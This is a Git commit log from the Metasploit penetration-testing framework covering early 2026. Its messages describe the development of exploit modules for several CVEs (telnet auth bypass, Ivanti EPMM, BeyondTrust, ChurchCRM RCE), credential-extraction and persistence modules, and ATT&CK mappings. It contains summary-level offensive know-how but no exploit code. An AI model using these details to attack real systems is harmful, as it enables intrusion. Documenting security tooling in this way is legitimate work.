2026-02-11 21:57:17 +00:00
Brendan
f165eba6a9
Merge pull request #20941 from rudraditya21/attack-credential-access
...
Add MITRE ATT&CK mapping for Windows password cracking
2026-02-11 15:44:52 -06:00
Brendan
2c7b7e8b5c
Merge pull request #20942 from rudraditya21/attack-exploit-privesc
...
Add MITRE ATT&CK mappings for exploit and privilege escalation modules
2026-02-11 15:38:59 -06:00
jenkins-metasploit
61da63d11f
automatic module_metadata_base.json update
2026-02-11 20:06:15 +00:00
Spencer McIntyre
c48622e134
Merge pull request #20936 from rudraditya21/attack-smb-samr
...
Add MITRE ATT&CK mappings for SMB/SAMR account operations
2026-02-11 14:57:22 -05:00
jenkins-metasploit
86b09826e3
automatic module_metadata_base.json update
2026-02-11 19:22:12 +00:00
jheysel-r7
4adf87ac18
Merge pull request #20929 from jheysel-r7/feat/mod/cve-2026-24061
...
GNU Inetutils Telnet Auth Bypass (CVE-2026-24061)
2026-02-11 11:12:29 -08:00
jheysel-r7
8f1e16d2a6
Update modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-11 08:54:09 -08:00
adfoster-r7
54906237a1
Merge pull request #20955 from adfoster-r7/ensure-temp-rhost-files-are-cleaned-up
...
Ensure temp rhost files are cleaned up
2026-02-11 14:19:57 +00:00
adfoster-r7
6d2ec5d89d
Ensure temp rhost files are cleaned up
2026-02-11 13:48:11 +00:00
adfoster-r7
c3c8aad4e6
Merge pull request #20599 from BenoitDePaoli/fix/userpass_password_persistence
...
fix(console): prevent RHOSTS temp file deletion after services -R
2026-02-11 13:45:55 +00:00
adfoster-r7
fea33abe02
Merge pull request #20954 from putku45/patch-1
...
Improve clarity and grammar in docs README
2026-02-11 13:17:03 +00:00
adfoster-r7
b53467ebe4
Add new line
2026-02-11 13:16:36 +00:00
putku45
648218a436
Improve clarity and grammar in docs README
...
This PR improves the documentation README by adding a short explanation to the Architecture section and fixing a minor grammar issue.
No functional changes.
2026-02-11 18:42:25 +05:30
adfoster-r7
877d2d81d0
Merge pull request #20953 from zeroSteiner/fix/ssh-socket-channels/1
...
Fix SSH Socket Channels
2026-02-11 11:54:50 +00:00
LucasCsmt
838d047b66
Fix the GHSA notation
2026-02-11 11:27:24 +01:00
LucasCsmt
af3ce4a0f5
Changing placeholders to random text inside request
...
The 'alter_config' function has been altered in order to use random text
as placeholder to fake information in the configuration. The GHSA is
fixed too.
2026-02-11 11:26:59 +01:00
Lucas Coussement
7c9f18bbab
Shorten the if condition's format
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-11 10:48:54 +01:00
Lucas Coussement
fc9d2b2fce
adding CONFIG_CHANGES to side effect
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-11 10:47:49 +01:00
jenkins-metasploit
00abe36f9a
Bump version of framework to 6.4.114
2026-02-11 09:32:52 +00:00
jenkins-metasploit
336a7710fb
automatic module_metadata_base.json update
2026-02-10 22:31:19 +00:00
Spencer McIntyre
b609d6de80
Merge pull request #20935 from rudraditya21/attack-kerberos
...
Add MITRE ATT&CK mappings for Kerberos roasting modules
2026-02-10 17:18:17 -05:00
Spencer McIntyre
498eefc881
Merge pull request #20934 from rudraditya21/attack-ldap-adcs
...
Add MITRE ATT&CK mappings for LDAP/AD CS modules
2026-02-10 17:11:56 -05:00
JohannesLks
9512135c84
Merge branch 'master' into rtsold_dnssl_cmdinject
2026-02-10 16:19:53 -05:00
Spencer McIntyre
d569fc552d
Apply the #shutdown to the correct socket
2026-02-10 16:12:11 -05:00
g0t mi1k
701cb4fd2f
DefaultPayload -> DefaultOptions: PAYLOAD
2026-02-10 20:30:05 +00:00
g0t mi1k
a58876b843
unreal_ircd: Be more verbose
2026-02-10 20:27:41 +00:00
g0t mi1k
e2387e875f
unreal_ircd: Add check
2026-02-10 20:26:49 +00:00
JohannesLks
5946affad5
Fix: thread leak in rtsold exploit
2026-02-10 15:19:31 -05:00
Spencer McIntyre
0f3cd49118
Fix TCP server channel parameters
2026-02-10 15:04:51 -05:00
JohannesLks
53b4f2921d
chore: lint
2026-02-10 14:58:33 -05:00
JohannesLks
b59dfdf352
Refactor rtsold: move RA methods to ipv6.rb
...
. Move packet building to library, fix link-local address usage, and add CheckCode message.
2026-02-10 14:41:12 -05:00
jenkins-metasploit
b21c5b5ff3
automatic module_metadata_base.json update
2026-02-10 17:16:37 +00:00
Brendan
d330de16c8
Merge pull request #20932 from sfewer-r7/ivanti-epmm-rce
...
Add exploit module for Ivant EPMM/MobileIron (CVE-2026-1281)
2026-02-10 11:07:39 -06:00
Valentin Lobstein
3f6d228954
Update modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-10 18:06:20 +01:00
Valentin Lobstein
defeb14ef4
Update modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-10 18:02:22 +01:00
Valentin Lobstein
47d4cd7601
Update modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-10 18:02:12 +01:00
LucasCsmt
37fe98c7bd
Merge branch 'master' into multi/http/churchcrm_unauth_rce
2026-02-10 16:34:08 +01:00
jenkins-metasploit
19955be804
automatic module_metadata_base.json update
2026-02-10 11:56:08 +00:00
msutovsky-r7
a939e530f3
Land #20817 , fixes table print in SAP auxiliary modules
...
SAP auxiliary modules bugfix
2026-02-10 12:47:00 +01:00
msutovsky-r7
3b64f761f3
Apply suggestion from @msutovsky-r7
2026-02-10 12:30:29 +01:00
msutovsky-r7
0757ca7494
Merge branch 'master' into sap_auxiliary_modules_bugfix
2026-02-10 12:29:55 +01:00
Martin Sutovsky
017e074a61
Address comments
2026-02-10 12:15:48 +01:00
Martin Sutovsky
fc0257bcad
Adds default fmt argument to to_executable in msf/core/exploit/exe, comments refactor, adds to_win32pe_dll
2026-02-10 11:52:43 +01:00
cgranleese-r7
9d41abd57e
Merge pull request #20886 from cdelafuente-r7/enh/MS-9930/vuln_report_with_creds
...
Reapply "Vulnerability Report Enhancement"
2026-02-10 10:27:39 +00:00
cgranleese-r7
2ae7898d85
Bump metasploit_data_models 6.0.12
2026-02-10 10:07:40 +00:00
Martin Sutovsky
436488d533
Removes format from to_executable_windows
2026-02-10 11:05:53 +01:00
Martin Sutovsky
d748cf9775
Rolling back to_executable_windows
2026-02-10 11:04:06 +01:00
cgranleese-r7
b2fadbdf8d
Removes code pointing at credential branch
2026-02-10 09:54:08 +00:00
Christophe De La Fuente
dc2ef2ed77
Update specs after code review
2026-02-10 09:46:37 +00:00
Christophe De La Fuente
c02ac3920d
Reapply "Vulnerability Report Enhancement"
...
This reverts commit c35537252f .
2026-02-10 09:46:37 +00:00
Christophe De La Fuente
6f04a389e0
Bump the metasploit-credential gem
...
This will bring the last fix related to the new Layered Services data model
2026-02-10 09:46:35 +00:00
Martin Sutovsky
3f45447399
Fixes OSX placeholder
2026-02-10 09:04:42 +01:00
Martin Sutovsky
64b3babf1c
Fixes JSP and WAR formats, code reformat
2026-02-10 08:48:57 +01:00
haicen
68e17f2b13
Normalizes URI construction
2026-02-09 20:56:08 -05:00
haicen
a1b02d1139
adds newlines between functions
2026-02-09 20:53:36 -05:00
haicen
3ee7bd435b
changes URI construction to comply with standards
2026-02-09 20:45:10 -05:00
haicen
e28afb7e12
renames files to conform to standards
2026-02-09 20:30:33 -05:00
haicen
d8fd09b156
adds newline between functions
2026-02-09 20:30:29 -05:00
haicen
98d8e35d85
adds checks to address nil condition on variables
2026-02-09 20:30:25 -05:00
haicen
f852aac863
Changes url structure to conform to requested changes
2026-02-09 20:30:18 -05:00
haicen
60b0209914
Improves module vulnerability check
2026-02-09 20:29:50 -05:00
adfoster-r7
cfb8483188
Merge pull request #20775 from rmtsixq/fix/postgresql-15-schema-permissions
...
Fix PostgreSQL 15+ public schema permission issue
2026-02-09 20:33:10 +00:00
g0t mi1k
73808e9365
twiki_maketext: Add versions to description
...
REF: http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329
2026-02-09 20:26:01 +00:00
jenkins-metasploit
05aa0eb326
automatic module_metadata_base.json update
2026-02-09 18:17:35 +00:00
adfoster-r7
71dd4dae19
Merge pull request #20710 from Chocapikk/add-ghsa-reference-support
...
Add GHSA and OSV reference type support
2026-02-09 18:08:22 +00:00
jenkins-metasploit
44f0e89b72
automatic module_metadata_base.json update
2026-02-09 17:38:37 +00:00
Rudraditya Thakur
8d6f775ebe
added: ATT&CK references to exploit and privilege escalation modules
2026-02-09 23:03:01 +05:30
adfoster-r7
5e9b563060
Merge pull request #20939 from cgranleese-r7/bump-metasploit-credential
...
Bump metasploit-credential 6.0.20
2026-02-09 17:29:28 +00:00
Rudraditya Thakur
838ab7195f
added: ATT&CK reference to crack_windows module
2026-02-09 22:58:04 +05:30
Rudraditya Thakur
8263d4fa95
removed: ATT&CK reference T1556.006 from shadow_credentials
2026-02-09 22:52:31 +05:30
Rudraditya Thakur
823b4215e2
removed: ATT&CK reference T1649 from ad_cs_cert_template
2026-02-09 22:51:47 +05:30
Rudraditya Thakur
65570a1183
removed: ATT&CK reference T1098 from samr_account
2026-02-09 22:48:42 +05:30
Rudraditya Thakur
70dd06ef67
removed: ATT&CK reference from timeroast
2026-02-09 22:46:34 +05:30
Spencer McIntyre
c3e9652ccb
Merge pull request #20937 from rudraditya21/attack-relay-sccm
...
Add MITRE ATT&CK mappings for relay and SCCM credential modules
2026-02-09 11:50:44 -05:00
cgranleese-r7
6e860953da
Bump metasploit-credential 6.0.20
2026-02-09 14:46:21 +00:00
Valentin Lobstein
f41eda1128
Add GHSA and OSV reference type support
...
Add support for GHSA (GitHub Security Advisories) and OSV (Open Source
Vulnerabilities) as structured reference types in Metasploit modules.
Convert 49 hardcoded GHSA URLs to structured ['GHSA', 'GHSA-xxxx'] format
across existing modules, and add support for repository-specific GHSA
references with an optional third parameter ['GHSA', 'GHSA-xxxx', 'repo'].
Update reference validation, module validator, and info_fixups to handle
the new reference types correctly.
2026-02-09 15:17:23 +01:00
Martin Sutovsky
951c412654
Replaces regex =~ with index
2026-02-09 14:15:14 +01:00
cgranleese-r7
8af6bae699
Merge pull request #20906 from rudraditya21/fix/ssh-cmd-exec-trailing-newlines
...
Fix SSH command shells dying on cmd_exec with trailing newline
2026-02-09 12:25:11 +00:00
Martin Sutovsky
0b38abffa2
Addresses comments
2026-02-09 11:01:22 +01:00
Valentin Lobstein
296cb5ff22
Fix BeyondTrust exploit failing on older instances (22.x)
...
The /get_mech_list?version=3 endpoint returns HTTP 500 on older
BeyondTrust versions that do not support the JSON API. Add a
fallback to version=2 which returns semicolon-separated key=value
pairs (e.g. "company=sewtest;product=ingredi").
Also remove the "Thank you for using BeyondTrust" check in the
BRDF validation, as PRA instances do not contain this string,
causing the check method to incorrectly report Unknown for PRA
targets.
2026-02-08 22:57:47 +01:00
Martin Sutovsky
0871fb1827
Fixes argument positions for war/jsp formats
2026-02-07 13:18:02 +01:00
Rudraditya Thakur
50335ddc79
updated: ATT&CK Techniques for icpr_cert.rb and esc_update_ldap_object.rb
2026-02-07 10:12:36 +05:30
Rudraditya Thakur
4c1a25198b
updated: ATT&CK ID from T1552 to T1552.001 in relay_get_naa_credentials.rb
2026-02-07 10:09:31 +05:30
dledda-r7
e8268bdcbc
fix: add OSX::App inclusion in EXE module
2026-02-06 12:51:14 -05:00
dledda-r7
daff3638e0
fix: including all the mixins
2026-02-06 10:44:03 -05:00
dledda-r7
e7d2c719f8
fix: refactor boiler plate utils/exe break-up
2026-02-06 10:37:05 -05:00
sfewer-r7
51d2a18ade
remove the extra + operator. add a comment as to why we ljust the value.
2026-02-06 14:52:00 +00:00
BenoitDePaoli
540ce8127b
Change Ruby Function to create temp file
2026-02-06 15:35:11 +01:00
cgranleese-r7
2289e889be
Merge pull request #20903 from jheysel-r7/fix/enum_user_directories
...
Fix enum_user_directories Duplicate Directories
2026-02-06 14:34:40 +00:00
dledda-r7
189f3744c7
fix: removed function calling singleton windows
2026-02-06 09:31:21 -05:00
dledda-r7
d6044ece89
fix: finalizing boilerplates utils/exe break-up
2026-02-06 08:58:49 -05:00
Martin Sutovsky
77279da46f
Fixes typo
2026-02-06 14:36:32 +01:00
dledda-r7
4e6e666996
fix: boilerplate bsd and solaris utils/exe breakup
2026-02-06 08:18:04 -05:00
Simon Janusz
db064a4f49
Merge pull request #20895 from rudraditya21/fixed/ldap-entry-cache-misses
...
added: negative caching for LDAP lookup misses
2026-02-06 13:15:57 +00:00
Rudraditya Thakur
674934d6d9
fixed: entry cache spec
2026-02-06 17:11:09 +05:30
Martin Sutovsky
0113f4984c
Adds base for osx
2026-02-06 12:33:26 +01:00
Diego Ledda
22e927a657
Merge pull request #1 from msutovsky-r7/collab/lib/exe-breakup
...
Finishes Windows breakup, adds base for Linux breakup
2026-02-06 06:03:16 -05:00
Diego Ledda
c6023e2ea8
revert exe common
2026-02-06 12:02:07 +01:00
Martin Sutovsky
fb0dcc5ccf
Fixes module name for x64
2026-02-06 12:01:58 +01:00
Diego Ledda
70b33eb458
Apply suggestion from @dledda-r7
2026-02-06 12:01:03 +01:00
Diego Ledda
039ade75aa
x64 windows boilerplate utils/exe breakup
2026-02-06 11:59:34 +01:00
Diego Ledda
e60d9a205f
fix: x86 windows boilerplate
2026-02-06 11:54:39 +01:00
Diego Ledda
4ec3bff82f
fix: x86 windows with boilerplate utils/exe breakup
2026-02-06 11:53:33 +01:00
Martin Sutovsky
1b6485f2eb
Restores x86
2026-02-06 11:49:14 +01:00
Martin Sutovsky
95ff1fb6e8
Fixes bugs
2026-02-06 11:49:13 +01:00
Martin Sutovsky
d64f0efcf5
Fixes set_template_default_winpe_dll
2026-02-06 11:49:13 +01:00
Diego Ledda
1abdaf22f0
Apply suggestion from @dledda-r7
2026-02-06 11:46:20 +01:00
Diego Ledda
83c7692639
Apply suggestion from @dledda-r7
2026-02-06 11:45:56 +01:00
Martin Sutovsky
f1c16da62f
Adds windows common
2026-02-06 11:40:05 +01:00
Martin Sutovsky
b3e326400f
Payload generator revert
2026-02-06 11:38:17 +01:00
Martin Sutovsky
2f2f6ff9d5
Reverts some changes
2026-02-06 11:36:37 +01:00
Martin Sutovsky
dc4483faac
Fixes windows, adds base for Linux
2026-02-06 08:55:14 +01:00
Rudraditya Thakur
9d73966976
added ATT&CK references to relay and SCCM modules
2026-02-06 11:58:08 +05:30
Rudraditya Thakur
64f0bee6d2
added: ATT&CK references to SMB and SAMR modules
2026-02-06 11:25:47 +05:30
Rudraditya Thakur
ae07b3457e
added: ATT&CK references to kerberoast and timeroast modules
2026-02-06 10:46:53 +05:30
Rudraditya Thakur
c138dc468d
added: ATT&CK references to LDAP and AD CS modules
2026-02-06 10:38:56 +05:30
sfewer-r7
5accca7907
Lower the ranking to GreatRanking and stability is CRASH_SERVICE_RESTARTS due to how the 12.8.* target on Windows works.
2026-02-05 21:38:27 +00:00
sfewer-r7
58dd29107f
remove SMB_SRVPORT as an option. It must allways be 445 so the user cannot change it. We print a message to inform the user this port is intended to be in use so that the SMB server is not compleatly opaque.
2026-02-05 17:21:31 +00:00
sfewer-r7
5338a8e4b9
this is the prefered way to test for a non routable IP
2026-02-05 17:20:04 +00:00
sfewer-r7
2a39aa5124
fix typo in SRVPORT
2026-02-05 16:28:31 +00:00
sfewer-r7
95da6bd70d
use Rex::Stopwatch.elapsed_time to time this operation
2026-02-05 16:17:33 +00:00
sfewer-r7
22e5981a95
add back tick to BadChars
2026-02-05 16:16:57 +00:00
jenkins-metasploit
b92da7cc23
Bump version of framework to 6.4.113
2026-02-05 15:22:41 +00:00
Jack Heysel
85604307fa
Update ranking
2026-02-05 06:47:31 -08:00
LucasCsmt
9cb6ddb7c1
Mentioning the version in the title
...
Title has been changed in order to mention the version where the exploit
work.
2026-02-05 15:46:38 +01:00
Martin Sutovsky
684adbbc15
Adds windows split
2026-02-05 14:45:58 +01:00
sfewer-r7
f632cf34bf
add in a module and docs fo rteh EPMM exploit
2026-02-05 12:26:38 +00:00
LucasCsmt
96832cf50c
Merge branch 'master' into multi/http/churchcrm_unauth_rce
2026-02-05 12:36:55 +01:00
LucasCsmt
eb5507844b
Testing the module on different version
...
The module have been tested on different version of ChurchCRM (6.8.0 and
6.2.0) prooving it's vulnerability to this exploit. This commit contains
modification of the dockerfile/docker-compose in order to support
multi-version installation.
2026-02-05 12:36:26 +01:00
sfewer-r7
40073bcc8e
typo in docs
2026-02-05 09:00:15 +00:00
sfewer-r7
50f46aa85d
add docs
2026-02-04 20:36:10 +00:00
sfewer-r7
c7e18ee5d6
block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
2026-02-04 20:35:57 +00:00
sfewer-r7
7d926efa95
Ships as a Java application running in a x64 java.exe process
2026-02-04 20:35:40 +00:00
sfewer-r7
153a65fbb6
rework the targets/paylaods. We now support 12.8.* on windows and 12.7.* on linux and windows. 12.8.* on linux might work but depends on the underlying cron daemon
2026-02-04 20:14:44 +00:00
Spencer McIntyre
c72d5128cb
Merge pull request #20931 from jheysel-r7/fix/docs/gsoc-2026-ideas-spacing
...
Fix spacing in GSoC 2026 ideas page
2026-02-04 14:20:14 -05:00
Jack Heysel
196dac6b6a
Fix spacing in GSoC 2026 ideas page
2026-02-04 09:17:40 -08:00
msutovsky-r7
0a5eb04be1
Removes puts
2026-02-04 11:59:41 -05:00
cgranleese-r7
e69d72dcc1
Merge pull request #20680 from cdelafuente-r7/fix_rpc
...
A few fixes and enhancement for API RPC
2026-02-04 16:18:39 +00:00
LucasCsmt
4d65f15884
Adding a link to the CVE
2026-02-04 16:17:15 +01:00
LucasCsmt
ca5ceae1b3
Adding documentation to the churchcrm module
...
The documentation of the module is addedd.
2026-02-04 16:04:42 +01:00
Martin Sutovsky
f393055afd
Adds docker instruction
2026-02-04 12:59:38 +01:00
Martin Sutovsky
bc77c63496
Adds documentation
2026-02-04 12:57:58 +01:00
Martin Sutovsky
6a1babf6c3
Updates docs, fixes JWT, module cleanup
2026-02-04 12:40:41 +01:00
dledda-r7
9eb77b7948
feat|draft: apply new boilerplate to utils/exe
2026-02-04 05:19:05 -05:00
LucasCsmt
bfacba6688
Merge branch 'master' into multi/http/churchcrm_unauth_rce
2026-02-04 11:13:24 +01:00
LucasCsmt
9acd3ce2df
Rubocop on the file
2026-02-04 11:12:58 +01:00
LucasCsmt
22fde78f55
Supression of check_execution
...
Supression of the method 'check_execution' because it was to context
related and it is impossible to predict how the web server react to
command execution.
2026-02-04 11:12:12 +01:00
jenkins-metasploit
9462fd87ff
automatic module_metadata_base.json update
2026-02-04 08:35:53 +00:00
Lucas Coussement
aec1243032
Merge branch 'rapid7:master' into multi/http/churchcrm_unauth_rce
2026-02-04 09:30:59 +01:00
msutovsky-r7
533a12dc16
Land #20768 , adds Gladinet CentreStack/Trifox aux modules, updates Gladinet exploit module
...
Add Gladinet CentreStack/Triofox auxiliary modules and exploit
2026-02-04 09:26:55 +01:00
Valentin Lobstein
005fbb17a1
Address PR #20768 review feedback
...
- Fix machineKey extraction regex to handle decryption attribute
- Replace Base64.strict_encode64 with Rex::Text.encode_base64
- Add READ_FILE and EXTRACT_MACHINEKEY actions
- Add PRODUCT option for CentreStack/Triofox support
- Use different storage endpoints per product type
- Update documentation with new options and actions
2026-02-04 08:38:35 +01:00
Valentin Lobstein
7776588577
Address PR #20768 review feedback
...
- gladinet.rb: Fix machineKey regex to match decryptionKey then validationKey explicitly
- gladinet.rb: Remove DEFAULT_WEB_CONFIG_PATH constant, inline in each module's datastore option
- gladinet_storage_access_ticket_forge.rb: Inline version check
- gladinet_storage_access_ticket_forge.rb: Inline FILEPATH default value (with C:\ for absolute path)
- gladinet_storage_lfi_cve_2025_11371.rb: Inline version check
- gladinet_storage_lfi_cve_2025_11371.rb: Inline valid_response? method (removed)
- gladinet_storage_lfi_cve_2025_11371.rb: Inline FILEPATH default value (without C:\, stripped by build_lfi_path)
- gladinet_storage_lfi_cve_2025_11371.rb: Use vars_get with encode_params instead of manual URL building
- gladinet_viewstate_deserialization: Remove nil fallback (mandatory option with default)
- gladinet_viewstate_deserialization: Remove DEFAULT_MACHINE_KEY constant, inline in datastore option
- gladinet_viewstate_deserialization: Remove duplicate detect_app_type/extract_build_version (already in shared lib)
Note: Suggestion to rename gladinet? to is_gladinet? was NOT applied.
msftidy enforces Naming/PredicatePrefix convention which requires predicate
methods to NOT have 'is_' prefix (gladinet? is correct, is_gladinet? is not).
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-04 08:38:35 +01:00
Valentin Lobstein
b1adc514d1
Apply suggestions
...
Co-authored-by: jheysel-r7 <jheysel-r7@users.noreply.github.com >
2026-02-04 08:38:35 +01:00
Valentin Lobstein
232471ad46
Update modules/auxiliary/gather/gladinet_storage_access_ticket_forge.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-02-04 08:38:34 +01:00
Valentin Lobstein
3cffeda00e
Fix machineKey extraction regex and add reviewer credit
...
- Fix regex in gladinet mixin to handle machineKey with decryption attribute
- Add Julien Voisin as reviewer in auxiliary modules
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-04 08:38:34 +01:00
Valentin Lobstein
6d25006e8d
Update documentation/modules/auxiliary/gather/gladinet_storage_access_ticket_forge.md
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-04 08:38:33 +01:00
Valentin Lobstein
1c929ae5b6
Update lib/msf/core/auxiliary/gladinet.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-04 08:38:33 +01:00
Valentin Lobstein
6773459759
Update documentation/modules/auxiliary/gather/gladinet_storage_access_ticket_forge.md
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-04 08:38:33 +01:00
Valentin Lobstein
38efe8264d
Improve Gladinet detection: check for y-glad cookies and branding in addition to ViewState
2026-02-04 08:38:32 +01:00
Valentin Lobstein
628c5ee7af
Update Gladinet modules: fix AutoCheck in auxiliary modules and update documentation with real outputs
2026-02-04 08:38:32 +01:00
Valentin Lobstein
180527876b
Fix Rubocop offenses in gladinet_storage_lfi_cve_2025_11371
2026-02-04 08:38:31 +01:00
Valentin Lobstein
478345506e
Add Gladinet CentreStack/Triofox auxiliary modules and exploit
2026-02-04 08:38:31 +01:00
jenkins-metasploit
7f5d4545ab
automatic module_metadata_base.json update
2026-02-04 07:18:40 +00:00
msutovsky-r7
9f90da27c8
Land #20834 , fixes NoMethodError in teamviewer_password post module
...
Fix teamviewer_password module NoMethodError
2026-02-04 08:09:32 +01:00
Martin Sutovsky
0c125bfab8
Rubocopes
2026-02-04 07:53:05 +01:00
Martin Sutovsky
dbe8b5574f
Updates JWT
2026-02-04 07:52:21 +01:00
Rudraditya Thakur
366bc5335b
updated: ldap_entry_cache var with max_size argument
2026-02-04 11:22:36 +05:30
Jack Heysel
bd049dcba4
doc update
2026-02-03 18:41:51 -08:00
Jack Heysel
a868bc95b2
GNU Inetutils Telnet Auth Bypass
2026-02-03 17:45:59 -08:00
adfoster-r7
ded7535c80
Merge pull request #20368 from isaac-app-dev/fix-issue-19384
...
Fixes MsfVenom not running outside framework dir
2026-02-04 00:22:52 +00:00
Spencer McIntyre
5e43beca60
Merge pull request #20920 from rudraditya21/fix/cracker-auto-action
...
Handle ACTION=auto with CRACKER_PATH in password crackers
2026-02-03 17:23:49 -05:00
jenkins-metasploit
967b43ee2e
automatic module_metadata_base.json update
2026-02-03 21:22:25 +00:00
Spencer McIntyre
e55d22a7cd
Merge pull request #20739 from cdelafuente-r7/add_mitre_tech_kerb_unconst_deleg
...
Add MITRE ATT&CK techniques to Kerberos and unconstrained delegation modules
2026-02-03 16:11:37 -05:00
adfoster-r7
36a240a07e
Merge pull request #20926 from cgranleese-r7/renames-windows-file-system-methods
...
Renames Windows File System namespaces
2026-02-03 21:03:07 +00:00
Christophe De La Fuente
0c0e290cc2
Code review 2
2026-02-03 21:53:05 +01:00
sfewer-r7
5b2c0945db
we can trigger on older versions like 12.7.11.1182 but several requests must be POST and not GET, however on newer versiosn 12.8.* they must be GET
2026-02-03 17:51:03 +00:00
sfewer-r7
65b0ef2480
detect wind/lin/mac platforms
2026-02-03 17:49:43 +00:00
dwelch-r7
71924e29ab
Merge pull request #20928 from adfoster-r7/fix-label-check-bug
...
Fix label check bug
2026-02-03 16:26:39 +00:00
adfoster-r7
9fde4e0a3e
Fix label check bug
2026-02-03 16:24:00 +00:00
adfoster-r7
b6e70417fe
Merge pull request #20927 from adfoster-r7/add-notice-about-extended-test-suite
...
Add notice about extended test suite
2026-02-03 16:10:32 +00:00
adfoster-r7
4c498a74f1
Add notice about extended test suite
2026-02-03 15:39:31 +00:00
LucasCsmt
198926b761
Refactoring code disposition
...
The code have been refactored to be more organised.
2026-02-03 16:11:40 +01:00
LucasCsmt
808a514102
Better title for the module
2026-02-03 15:48:06 +01:00
LucasCsmt
e27112275a
Metasploit module for ChurchCRM's RCE
...
This commit add the module that exploit the ChurchCRM Unauth RCE.
2026-02-03 15:47:28 +01:00
cgranleese-r7
89ebdeacef
Renames Windows file system namespaces
2026-02-03 11:23:04 +00:00
sfewer-r7
683c5c0ce8
stability is CRASH_SERVICE_RESTARTS as loading a native code extension can cause a timeout and the service will restart. The MSF session is not affected by this. And the target is re-exploitable after service restarts.
2026-02-03 10:57:40 +00:00
sfewer-r7
290fce8423
favor += so rubocop lets us keep the self. which is more explicit IMHO
2026-02-03 10:56:32 +00:00
sfewer-r7
2733269739
remove the unused option FILE_CONTENTS
2026-02-03 10:33:52 +00:00
sfewer-r7
d782c7bbd3
we no longer need Retry
2026-02-03 10:31:13 +00:00
sfewer-r7
8fbc577b73
fix typos
2026-02-03 10:30:52 +00:00
Spencer McIntyre
ef20db76b9
Merge pull request #20910 from jheysel-r7/docs/gsoc-2026-wiki-update
...
GSoC 2026 Wiki Updates
2026-02-02 14:44:00 -05:00
jheysel-r7
a65a013b2b
Apply suggestions from code review
2026-02-02 11:39:34 -08:00
Jack Heysel
a047ff9e79
Update docs
2026-02-02 08:25:25 -08:00
Martin Sutovsky
9a18fcf49b
Fixes JWT payload and base64 encoding
2026-02-02 14:13:51 +01:00
Christophe De La Fuente
b85b2d4528
Add comments and remove T1077_WINDOWS_ADMIN_SHARES (deprecated)
2026-02-02 12:03:17 +01:00
Martin Sutovsky
a6e750518d
Fixes basic JWT encoding, code refactors, add better failure codes and messages
2026-02-02 11:17:26 +01:00
Martin Sutovsky
32eaa4e80b
Adds base for JWT signing
2026-02-02 08:05:32 +01:00
jenkins-metasploit
f5829a7950
automatic module_metadata_base.json update
2026-02-01 20:25:20 +00:00
adfoster-r7
677fa6243e
Merge pull request #20883 from jheysel-r7/fix/impersonate_config_check
...
Add validate_options check for IMPERSONATE and IMPERSONATE_TYPE in get_ticket
2026-02-01 20:16:18 +00:00
Rudraditya Thakur
a3dd697f6e
fixed: auto cracker selection with CRACKER_PATH
2026-02-01 21:59:31 +05:30
h00die
75ff7b6af1
emacs extension persistence
2026-01-31 22:54:18 -05:00
jenkins-metasploit
0b210b6f70
automatic module_metadata_base.json update
2026-02-01 00:00:09 +00:00
adfoster-r7
e2d4a5f5bd
Merge pull request #20916 from Chepycou/master
...
fix : updated printing to prevent crash in auxiliary/scanner/sap/sap_soap_rfc_system_info or sap_icf_public_info.rb
2026-01-31 23:50:48 +00:00
kukly
14f10c73e4
rm unused element from TeamViewer registry keys array
2026-01-31 18:33:04 +01:00
sfewer-r7
77b6aff818
add in initial web help desk exploit with a windows target
2026-01-30 22:05:08 +00:00
Brendan
e7f8b07476
Merge pull request #20882 from karanabe/icpr_cert-rsa-keysize
...
Add RSAKeySize option to satisfy AD CS template minimums
2026-01-30 15:56:58 -06:00
Chepycou
343132b658
fix : Update sap_soap_rfc_system_info.rb result printing to fix crash
2026-01-30 18:44:02 +01:00
Chepycou
12a1467b7e
fix: Updated sap_icf_public_info.rb result printing to prevent crash
2026-01-30 18:43:07 +01:00
Rudraditya Thakur
0dcebd7ef3
added: max_size as word argument
2026-01-30 21:29:30 +05:30
jenkins-metasploit
4674c86a65
automatic module_metadata_base.json update
2026-01-30 15:57:30 +00:00
jheysel-r7
adee4d223a
Merge pull request #20894 from jameskim200/issue-20893-fix-typos-in-icmp_exfil
...
[ISSUE-20893] fix typos in the options descriptions of the `auxiliary/server/icmp_exfil` module
2026-01-30 07:46:54 -08:00
jenkins-metasploit
bbc8f7d115
automatic module_metadata_base.json update
2026-01-30 14:56:39 +00:00
Martin Sutovsky
42d5d6a9f0
Adds checks for archiving and deleting workflow
2026-01-30 15:54:50 +01:00
jheysel-r7
c31a606cb4
Merge pull request #20898 from raboof/exploit-continuum-add-cve-reference
...
add CVE reference to Continuum exploit
2026-01-30 06:47:30 -08:00
Martin Sutovsky
1053ae5c85
Fixes default action, adds base for documentation
2026-01-30 15:39:31 +01:00
Jack Heysel
2a85783207
Update navigation.rb
2026-01-30 06:57:52 -07:00
Martin Sutovsky
a8a741fdc8
Adds more actions, adds extraction of JWT parameters, code refactor and code fixes
2026-01-30 11:01:46 +01:00
Martin Sutovsky
22b63aab29
Adds actions for module, adds arbitrary file extraction
2026-01-29 17:26:58 +01:00
jenkins-metasploit
3e630ac7b9
Bump version of framework to 6.4.112
2026-01-29 15:50:00 +00:00
Jack Heysel
b3d6bbe469
Updated the How to Apply to GSoC page
2026-01-29 08:39:58 -07:00
jenkins-metasploit
155439ab97
